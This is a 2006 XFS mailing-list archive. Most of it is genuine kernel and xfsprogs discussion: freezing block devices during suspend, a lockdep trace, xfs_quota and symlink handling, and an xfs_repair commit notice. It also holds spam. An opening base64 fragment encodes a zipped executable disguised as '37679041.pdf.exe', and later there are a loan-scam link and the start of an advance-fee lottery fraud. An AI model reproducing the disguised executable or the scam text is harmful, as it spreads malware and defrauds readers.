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 ------------144013AF9A72C64-- From owner-xfs@oss.sgi.com Sun Oct 29 15:59:30 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 29 Oct 2006 15:59:39 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9TNxUaG008451 for ; Sun, 29 Oct 2006 15:59:30 -0800 X-ASG-Debug-ID: 1162166321-30167-314-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pop5-1.us4.outblaze.com (pop5-1.us4.outblaze.com [205.158.62.125]) by cuda.sgi.com (Spam Firewall) with SMTP id C1FE64DF02F for ; Sun, 29 Oct 2006 15:58:42 -0800 (PST) Received: (qmail 21380 invoked from network); 29 Oct 2006 23:51:41 -0000 Received: from unknown (HELO ?10.1.1.3?) (ncunningham@linuxmail.org@203.171.70.205) by pop5-1.us4.outblaze.com with SMTP; 29 Oct 2006 23:51:40 -0000 X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. From: Nigel Cunningham To: "Rafael J. Wysocki" Cc: Pavel Machek , David Chinner , Andrew Morton , LKML , xfs@oss.sgi.com, Christoph Hellwig In-Reply-To: <200610300029.25555.rjw@sisk.pl> References: <1161576735.3466.7.camel@nigel.suspend2.net> <20061027013802.GQ8394166@melbourne.sgi.com> <20061029173537.GA3022@elf.ucw.cz> <200610300029.25555.rjw@sisk.pl> Content-Type: text/plain Date: Mon, 30 Oct 2006 10:46:26 +1100 Message-Id: <1162165587.16177.7.camel@nigel.suspend2.net> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24494 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9488 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ncunningham@linuxmail.org Precedence: bulk X-list: xfs Status: O Hi. On Mon, 2006-10-30 at 00:29 +0100, Rafael J. Wysocki wrote: > Hi, > > On Sunday, 29 October 2006 18:35, Pavel Machek wrote: > > Hi! > > > > > > > > As you have them at the moment, the threads seem to be freezing fine. > > > > > > The issue I've seen in the past related not to threads but to timer > > > > > > based activity. Admittedly it was 2.6.14 when I last looked at it, but > > > > > > there used to be a possibility for XFS to submit I/O from a timer when > > > > > > the threads are frozen but the bdev isn't frozen. Has that changed? > > > > > > > > > > I didn't think we've ever done that - periodic or delayed operations > > > > > are passed off to the kernel threads to execute. A stack trace > > > > > (if you still have it) would be really help here. > > > > > > > > > > Hmmm - we have a couple of per-cpu work queues as well that are > > > > > used on I/O completion and that can, in some circumstances, > > > > > trigger new transactions. If we are only flush metadata, then > > > > > I don't think that any more I/o will be issued, but I could be > > > > > wrong (maze of twisty passages). > > > > > > > > Well, I think this exactly is the problem, because worker_threads run with > > > > PF_NOFREEZE set (as I've just said in another message). > > > > > > Ok, so freezing the filesystem is the only way you can prevent > > > this as the workqueues are flushed as part of quiescing the filesystem. > > > > Well, alternative is to teach XFS to sense that we are being frozen > > and stop disk writes in such case. > > > > OTOH freeze_bdevs is perhaps not that bad solution... > > Okay, appended is a patch that implements the freezing of bdevs in a slightly > different way than the Nigel's patch did it. > As Christoph suggested, I have put freeze_filesystems() and thaw_filesystems() > into fs/buffer.c and indroduced the MS_FROZEN flag to mark frozen > filesystems. > > It seems to work fine, except I get the following trace from lockdep during > the suspend on a regular basis (not 100% reproducible, though): > > Stopping tasks... > ============================================= > [ INFO: possible recursive locking detected ] > 2.6.19-rc2-mm2 #15 > --------------------------------------------- > s2disk/5564 is trying to acquire lock: > (&bdev->bd_mount_mutex){--..}, at: [] mutex_lock+0x9/0x10 > > but task is already holding lock: > (&bdev->bd_mount_mutex){--..}, at: [] mutex_lock+0x9/0x10 > > other info that might help us debug this: > 3 locks held by s2disk/5564: > #0: (&bdev->bd_mount_mutex){--..}, at: [] mutex_lock+0x9/0x10 > #1: (&type->s_umount_key#16){----}, at: [] get_super+0x67/0xc0 > #2: (&journal->j_barrier){--..}, at: [] mutex_lock+0x9/0x10 > > stack backtrace: > > Call Trace: > [] dump_trace+0xb9/0x430 > [] show_trace+0x43/0x60 > [] dump_stack+0x15/0x20 > [] __lock_acquire+0x881/0xc60 > [] lock_acquire+0x8d/0xc0 > [] __mutex_lock_slowpath+0xd4/0x270 > [] mutex_lock+0x9/0x10 > [] freeze_bdev+0x16/0x80 > [] freeze_filesystems+0x55/0x80 > [] freeze_processes+0x1e2/0x360 > [] snapshot_ioctl+0x163/0x610 > [] do_ioctl+0x6b/0xa0 > [] vfs_ioctl+0x2ab/0x2d0 > [] sys_ioctl+0x6a/0xa0 > [] system_call+0x7e/0x83 > [<00002afb13a4d8a9>] > > done. > Shrinking memory... done (19126 pages freed) > > Greetings, > Rafael > > > Signed-off-by: Rafael J. Wysocki Heh. I've just prepared almost exactly the same patch (except for unwinding the process thawing). I haven't ever seen those mutex warnings - is that due to something new in -mm or one of those gazillion new warnings you can enable in vanilla? Apart from that, I'll add: Signed-off-by: Nigel Cunningham Regards, Nigel From owner-xfs@oss.sgi.com Sun Oct 29 21:39:40 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 29 Oct 2006 21:39:51 -0800 (PST) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9U5daaG018867 for ; Sun, 29 Oct 2006 21:39:39 -0800 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA17555; Mon, 30 Oct 2006 16:38:41 +1100 Date: Mon, 30 Oct 2006 15:39:32 +1000 From: Timothy Shimmin To: Sten Spans , xfs@oss.sgi.com Subject: Re: xfs_quota project + symlinks Message-ID: <2F2FC01C6C9DD207E49DFC0B@timothy-shimmins-power-mac-g5.local> In-Reply-To: References: X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9489 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Hi, --On 26 October 2006 3:45:59 PM +0200 Sten Spans wrote: > On Thu, 26 Oct 2006, Sten Spans wrote: > >> >> This is with >> >> root@backup:/root/backup# xfs_quota -V >> xfs_quota version 2.8.11 >> root@backup:/backup# ln -s foo bar >> root@backup:/backup# xfs_quota -x -c 'project -c 0' >> Checking project 7 (path /backup)... >> xfs_quota: cannot open /backup/bar: No such file or directory >> Processed 1 /etc/projects paths for project 0 >> >> Would it be possible to handle symlinks better ? >> Perhaps a check for symlinks in project.c ? > > 86 if ((fd = open(path, O_RDONLY|O_NOCTTY)) == -1) > 87 fprintf(stderr, _("%s: cannot open %s: %s\n"), > 88 progname, path, strerror(errno)); > 89 else if ((xfsctl(path, fd, XFS_IOC_FSGETXATTR, &fsx)) < 0) > > If path is a symlink, then the project id is applied to a file > potentially on another filesystem. Wouldn't it be better to > add O_NOFOLLOW here ? > You want it to error out if it is a symlink. I'm not familiar with O_NOFOLLOW. Looking at man page: If pathname is a symbolic link, then the open fails. Symbolic links in earlier components of the pathname will still be followed. So it would still allow you to follow onto another filesystem if part of the path contained symlinks, by the look of it. So I'm not sure that is what we want. Also this source is shared on IRIX and I don't believe O_NOFOLLOW exists there. I'm not that familiar with quotas (Nathan?, Donald?), but I would presume that since symlinks take up space depending on the symlink path, that they should have quota control on the space they take up. In which case, one would actually not want to follow the symlink but rather apply a limit to that actual symlink inode. I don't know if this is the case though. But I agree, I doubt one wants to follow the symlinks - it would get rather confusing. --Tim From owner-xfs@oss.sgi.com Sun Oct 29 22:49:49 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 29 Oct 2006 22:50:02 -0800 (PST) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9U6nkaG031490 for ; Sun, 29 Oct 2006 22:49:48 -0800 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA18991; Mon, 30 Oct 2006 17:48:55 +1100 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9U6ms7Y19989069; Mon, 30 Oct 2006 17:48:55 +1100 (AEDT) Received: (from bnaujok@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9U6mqUN19981764; Mon, 30 Oct 2006 17:48:52 +1100 (AEDT) Date: Mon, 30 Oct 2006 17:48:52 +1100 (AEDT) From: Barry Naujok Message-Id: <200610300648.k9U6mqUN19981764@snort.melbourne.sgi.com> To: sgi.bugs.xfs@engr.sgi.com Cc: xfs@oss.sgi.com Subject: TAKE 957164 - xfs_repair does not fix corruption detected by xfs_check X-archive-position: 9490 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: bnaujok@snort.melbourne.sgi.com Precedence: bulk X-list: xfs Status: O Fixed an endian based flaw in setting the old nlink count in phase 7 of xfs_repair Date: Mon Oct 30 17:48:04 AEDT 2006 Workarea: snort.melbourne.sgi.com:/home/bnaujok/isms/repair Inspected by: mvalluri@sgi.com The following file(s) were checked into: longdrop.melbourne.sgi.com:/isms/xfs-cmds/master-melb Modid: master-melb:xfs-cmds:27311a xfsprogs/VERSION - 1.166 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/VERSION.diff?r1=text&tr1=1.166&r2=text&tr2=1.165&f=h xfsprogs/doc/CHANGES - 1.224 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/doc/CHANGES.diff?r1=text&tr1=1.224&r2=text&tr2=1.223&f=h - Updated xfsprogs to 2.8.16 xfsprogs/repair/phase7.c - 1.15 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/repair/phase7.c.diff?r1=text&tr1=1.15&r2=text&tr2=1.14&f=h - Fixed an endian based flaw in setting the old nlink count in phase 7 of xfs_repair From owner-xfs@oss.sgi.com Sun Oct 29 23:55:23 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 29 Oct 2006 23:55:34 -0800 (PST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9U7tNaG012109 for ; Sun, 29 Oct 2006 23:55:23 -0800 X-ASG-Debug-ID: 1162194875-20372-185-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx0.blinkenlights.nl (unknown [80.84.249.153]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3E61AD1B2075 for ; Sun, 29 Oct 2006 23:54:36 -0800 (PST) Received: from zaphod.blinkenlights.nl (zaphod.blinkenlights.nl [IPv6:2001:980:ffe:3:2e0:81ff:fe2f:bb6a]) by mx0.blinkenlights.nl (Postfix) with ESMTP id 8D3DD73009; Mon, 30 Oct 2006 08:54:33 +0100 (CET) Received: by zaphod.blinkenlights.nl (Postfix, from userid 1001) id 5F04B17F459; Mon, 30 Oct 2006 08:54:33 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by zaphod.blinkenlights.nl (Postfix) with ESMTP id 5381917F455; Mon, 30 Oct 2006 08:54:33 +0100 (CET) Date: Mon, 30 Oct 2006 08:54:33 +0100 (CET) From: Sten Spans To: Timothy Shimmin cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: xfs_quota project + symlinks Subject: Re: xfs_quota project + symlinks In-Reply-To: <2F2FC01C6C9DD207E49DFC0B@timothy-shimmins-power-mac-g5.local> Message-ID: References: <2F2FC01C6C9DD207E49DFC0B@timothy-shimmins-power-mac-g5.local> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24528 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9491 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sten@blinkenlights.nl Precedence: bulk X-list: xfs Status: O On Mon, 30 Oct 2006, Timothy Shimmin wrote: > Hi, > > --On 26 October 2006 3:45:59 PM +0200 Sten Spans > wrote: > >> On Thu, 26 Oct 2006, Sten Spans wrote: >> >> If path is a symlink, then the project id is applied to a file >> potentially on another filesystem. Wouldn't it be better to >> add O_NOFOLLOW here ? >> > You want it to error out if it is a symlink. Well It currently errors out for symlinks pointing to nowhere, but it does follow working symlinks. I am using project quota's on a backup server, and was thinking of using xfs_quota -c to check quota weekly. But if xfs_quota follows symlinks then quota are also applied to other filesystems. > I'm not familiar with O_NOFOLLOW. Looking at man page: > If pathname is a symbolic link, then the open fails. > Symbolic links in earlier components of the pathname will still be > followed. > So it would still allow you to follow onto another filesystem if part of the > path > contained symlinks, by the look of it. > So I'm not sure that is what we want. Also this source is shared on IRIX and > I don't believe O_NOFOLLOW exists there. > > I'm not that familiar with quotas (Nathan?, Donald?), but I would presume > that since symlinks take up space depending on the symlink path, that they > should > have quota control on the space they take up. > In which case, one would actually not want to follow the symlink but rather > apply a limit to that actual symlink inode. > I don't know if this is the case though. > > But I agree, I doubt one wants to follow the symlinks - it would get rather > confusing. Indeed quota are normally filesystem specific, following symlinks breaks this which creates unexpected situations. -- Sten Spans "There is a crack in everything, that's how the light gets in." Leonard Cohen - Anthem From owner-xfs@oss.sgi.com Mon Oct 30 06:24:29 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 30 Oct 2006 06:24:40 -0800 (PST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9UEOQaG000939; Mon, 30 Oct 2006 06:24:29 -0800 X-ASG-Debug-ID: 1162214400-19972-666-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 3A98DF18 (softbank221095037014.bbtec.net [221.95.37.14]) by cuda.sgi.com (Spam Firewall) with SMTP id 1BA20D1B2FE7; Mon, 30 Oct 2006 05:20:02 -0800 (PST) Received: from [destitute.144.ok] (activation-144.chastity.net [bazaar.144]) by arginine.corps.net (8.12.10/8.12.8) with ESMTP id h9FCGvlb394 887 for ; Mon, 30 Oct 2006 05:20:05 -0800 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" From: "LeopoldonBrewsterge@netzero.net" Date: Mon, 30 Oct 2006 05:20:05 -0800 To: xfs-master@oss.sgi.com X-ASG-Orig-Subj: dodecahedra Subject: dodecahedra X-Mailer: Apple Mail (2.552) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24548 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9492 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: YolandafxsGrossw@charter.net Precedence: bulk X-list: xfs Status: O No one can beat our rates immediate quote, quick approval, secure form, no sensitive info is ever asked http://geocities.yahoo.com.br/godony89497 Best Regards, Young Haley Approval Manager ambuscade be calvinist on digest see bearberry and crown on contribute but asilomar or captive but assassin the brakeman or belmont and arbiter see From owner-xfs@oss.sgi.com Mon Oct 30 09:35:56 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 30 Oct 2006 09:36:11 -0800 (PST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9UHZtaG004697 for ; Mon, 30 Oct 2006 09:35:56 -0800 X-ASG-Debug-ID: 1162224934-22262-511-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from hotmail.com (bay12-f23.bay12.hotmail.com [64.4.35.23]) by cuda.sgi.com (Spam Firewall) with ESMTP id 728974E3AB2 for ; Mon, 30 Oct 2006 08:15:34 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 30 Oct 2006 08:15:33 -0800 Message-ID: Received: from 69.45.64.26 by by12fd.bay12.hotmail.msn.com with HTTP; Mon, 30 Oct 2006 16:15:32 GMT X-Originating-IP: [194.151.76.19] X-Originating-Email: [hans.anita330@hotmail.com] X-Sender: hans.anita330@hotmail.com From: "ANITA HANS" Bcc: X-ASG-Orig-Subj: INORBIT CHARITY PROMOTIONS BV Subject: INORBIT CHARITY PROMOTIONS BV Date: Mon, 30 Oct 2006 17:15:32 +0100 Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-OriginalArrivalTime: 30 Oct 2006 16:15:33.0601 (UTC) FILETIME=[A0687510:01C6FC3E] X-Barracuda-Spam-Score: 3.03 X-Barracuda-Spam-Status: No, SCORE=3.03 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, MISSING_HEADERS, SARE_FRAUD_X3, TO_CC_NONE, UPPERCASE_75_100 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24558 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.19 MISSING_HEADERS Missing To: header 1.04 UPPERCASE_75_100 message body is 75-100% uppercase 1.67 SARE_FRAUD_X3 Matches 3+ phrases commonly used in fraud spam 0.13 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9493 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: hans.anita330@hotmail.com Precedence: bulk X-list: xfs Status: O INORBIT CHARITY PROMOTIONS BV MAXHAVELASTRAAT 522C, 3046TG ROTTERDAM THE NETHERLANDS WINNING NOTIFICATION REF NO; AIF61693628-09 DEAR SIR/MADAM, 